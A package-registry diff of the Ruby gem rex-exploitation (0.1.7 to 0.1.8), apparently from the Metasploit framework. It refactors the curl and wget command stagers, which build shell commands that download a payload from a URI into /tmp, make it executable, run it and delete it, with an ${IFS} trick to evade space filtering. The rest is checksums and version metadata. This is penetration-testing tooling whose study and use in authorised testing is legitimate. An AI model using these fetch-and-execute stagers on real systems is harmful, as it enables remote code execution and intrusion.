rex-exploitation 0.1.7 → 0.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/exploitation/cmdstager/curl.rb +29 -8
- data/lib/rex/exploitation/cmdstager/wget.rb +30 -9
- data/lib/rex/exploitation/version.rb +1 -1
- metadata +2 -2
- metadata.gz.sig +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 5ff8931f96f0a7c2dff501bfeeebbddd006507c9
|
4
|
+
data.tar.gz: 0a4b77913a6a10408cda458d91a76f1eaca9c41e
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 07fc38f827fe008b6a8bf9d27137072a8e62d0c95965d3a278b71aa5113dfbe115ce853ca07ad7a41eed3b0b2920d7d410a69cab32d209dde175ba41800db812
|
7
|
+
data.tar.gz: ce65a1bb5821a09785d1309776c7c722bddda7286bd373352e61b504b9ae8544cb997b0dfc5afff6d5997d1d5662ca0811ad8000ea2b46f7d5dd2a5d7d38cb68
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -6,26 +6,47 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
|
|
6
6
|
true
|
7
7
|
end
|
8
8
|
|
9
|
-
def
|
9
|
+
def generate(opts = {})
|
10
10
|
if opts[:payload_uri].nil?
|
11
11
|
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
12
12
|
end
|
13
13
|
|
14
14
|
opts[:temp] ||= '/tmp'
|
15
|
-
|
16
|
-
payload_path
|
15
|
+
opts[:file] ||= Rex::Text.rand_text_alpha(8)
|
16
|
+
@payload_path = "#{opts[:temp]}/#{opts[:file]}"
|
17
|
+
|
18
|
+
super
|
19
|
+
end
|
20
|
+
|
21
|
+
def generate_cmds_payload(opts)
|
22
|
+
cmds = []
|
17
23
|
|
18
24
|
if opts[:ssl]
|
19
|
-
cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
|
25
|
+
cmds << "curl -ko #{@payload_path} #{opts[:payload_uri]}"
|
20
26
|
else
|
21
|
-
cmds << "curl -o #{payload_path} #{opts[:payload_uri]}"
|
27
|
+
cmds << "curl -o #{@payload_path} #{opts[:payload_uri]}"
|
22
28
|
end
|
23
29
|
|
24
|
-
cmds
|
25
|
-
|
26
|
-
|
30
|
+
cmds
|
31
|
+
end
|
32
|
+
|
33
|
+
def generate_cmds_decoder(opts)
|
34
|
+
cmds = []
|
27
35
|
|
36
|
+
cmds << "chmod +x #{@payload_path}"
|
37
|
+
cmds << @payload_path
|
38
|
+
cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
|
39
|
+
|
40
|
+
cmds
|
41
|
+
end
|
42
|
+
|
43
|
+
def compress_commands(cmds, opts)
|
44
|
+
cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
|
28
45
|
super
|
29
46
|
end
|
30
47
|
|
48
|
+
def cmd_concat_operator
|
49
|
+
';'
|
50
|
+
end
|
51
|
+
|
31
52
|
end
|
@@ -6,27 +6,48 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
|
|
6
6
|
true
|
7
7
|
end
|
8
8
|
|
9
|
-
def
|
9
|
+
def generate(opts = {})
|
10
10
|
if opts[:payload_uri].nil?
|
11
11
|
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
12
12
|
end
|
13
13
|
|
14
14
|
opts[:temp] ||= '/tmp'
|
15
|
-
|
16
|
-
payload_path
|
17
|
-
|
15
|
+
opts[:file] ||= Rex::Text.rand_text_alpha(8)
|
16
|
+
@payload_path = "#{opts[:temp]}/#{opts[:file]}"
|
17
|
+
|
18
|
+
super
|
19
|
+
end
|
20
|
+
|
21
|
+
def generate_cmds_payload(opts)
|
22
|
+
cmds = []
|
23
|
+
ncc = '--no-check-certificate'
|
18
24
|
|
19
25
|
if opts[:ssl]
|
20
|
-
cmds << "wget -O #{payload_path} #{
|
26
|
+
cmds << "wget -O #{@payload_path} #{ncc} #{opts[:payload_uri]}"
|
21
27
|
else
|
22
|
-
cmds << "wget -O #{payload_path} #{opts[:payload_uri]}"
|
28
|
+
cmds << "wget -O #{@payload_path} #{opts[:payload_uri]}"
|
23
29
|
end
|
24
30
|
|
25
|
-
cmds
|
26
|
-
|
27
|
-
|
31
|
+
cmds
|
32
|
+
end
|
33
|
+
|
34
|
+
def generate_cmds_decoder(opts)
|
35
|
+
cmds = []
|
28
36
|
|
37
|
+
cmds << "chmod +x #{@payload_path}"
|
38
|
+
cmds << @payload_path
|
39
|
+
cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
|
40
|
+
|
41
|
+
cmds
|
42
|
+
end
|
43
|
+
|
44
|
+
def compress_commands(cmds, opts)
|
45
|
+
cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
|
29
46
|
super
|
30
47
|
end
|
31
48
|
|
49
|
+
def cmd_concat_operator
|
50
|
+
';'
|
51
|
+
end
|
52
|
+
|
32
53
|
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.8
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David Maloney
|
@@ -88,7 +88,7 @@ cert_chain:
|
|
88
88
|
G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
|
89
89
|
8mVuTXnyJOKRJA==
|
90
90
|
-----END CERTIFICATE-----
|
91
|
-
date:
|
91
|
+
date: 2017-01-03 00:00:00.000000000 Z
|
92
92
|
dependencies:
|
93
93
|
- !ruby/object:Gem::Dependency
|
94
94
|
name: bundler
|
metadata.gz.sig
CHANGED
@@ -1,2 +1,3 @@
|
|
1
|
-
|
2
|
-
|
1
|
+
�Q>�T������V��c�|�v�5.������T*��\,��Z9_�-�ܲ���_k*bod�Ł�����;Ig��<BH��I�����
|
2
|
+
8�7bO�
|
3
|
+
|���JFhSKUv��Y��1��)y>�'�~OHM�U��ػPx�'����~�V�衩#�L�g�~Ͽ Ss�E�v�t�ײ�A.BRg�I%���&���7:Z�p�H �����y��J�l���I�f����'��Q0���R;�y<�
|